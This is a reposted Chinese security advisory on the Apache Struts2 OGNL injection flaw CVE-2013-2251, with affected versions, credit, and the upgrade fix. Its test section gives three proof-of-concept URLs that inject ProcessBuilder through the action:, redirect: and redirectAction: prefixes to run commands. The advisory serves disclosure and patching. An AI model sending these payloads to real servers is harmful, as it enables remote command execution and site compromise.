Apache Struts2打开重定向/命令执行 CVE-2013-2251

来源:互联网 发布:英语课文翻译软件 编辑:程序博客网 时间:2024/06/06 16:34

昨日,著名Java Web框架Struts官方再发高危安全漏洞补丁升级(最新版本为:2.3.15.1),升级修补了多个安全漏洞,其中包括一个远程任意代码的高危安全漏洞,这些漏洞可以影响到Struts 2.0.0 - Struts 2.3.15的所有版本。攻击者可以利用该漏洞,执行恶意Java代码,最终导致网站数据被窃取、网页被篡改等严重后果。基于Struts2使用广泛,目前很多网站还没有升级,另外我们注意到针对该漏洞的攻击代码已出现。


关于Struts

      Struts通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。目前Struts是应用最广泛的Web应用框架之一。

描述:


BUGTRAQ  ID: 61189
CVE ID: CVE-2013-2251

Struts2 是第二代基于Model-View-Controller (MVC)模型的java企业级web应用框架。它是WebWork和Struts社区合并后的产物。

Apache Struts2的action:、redirect:和redirectAction:前缀参数在实现其功能的过程中使用了Ognl表达式,并将用户通过URL提交的内容拼接入Ognl表达式中,从而造成攻击者可以通过构造恶意URL来执行任意Java代码,进而可执行任意命令。

redirect:和redirectAction:此两项前缀为Struts默认开启功能,目前Struts 2.3.15.1以下版本均存在此漏洞。

<*来源:Takeshi Terada (Mitsui Bussan Secure Directions, Inc)
  
  链接:http://struts.apache.org/release/2.3.x/docs/s2-016.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}



解决方案

升级到到Struts 2.3.15.1,下地地址:http://struts.apache.org/download.cgi#struts23151。

针对Struts屡发高危漏洞,SCANV推荐使用来自阿里云的著名网络安全专家 空虚浪子心 推出的解决方案。详见:http://www.inbreak.net/archives/507

原创粉丝点击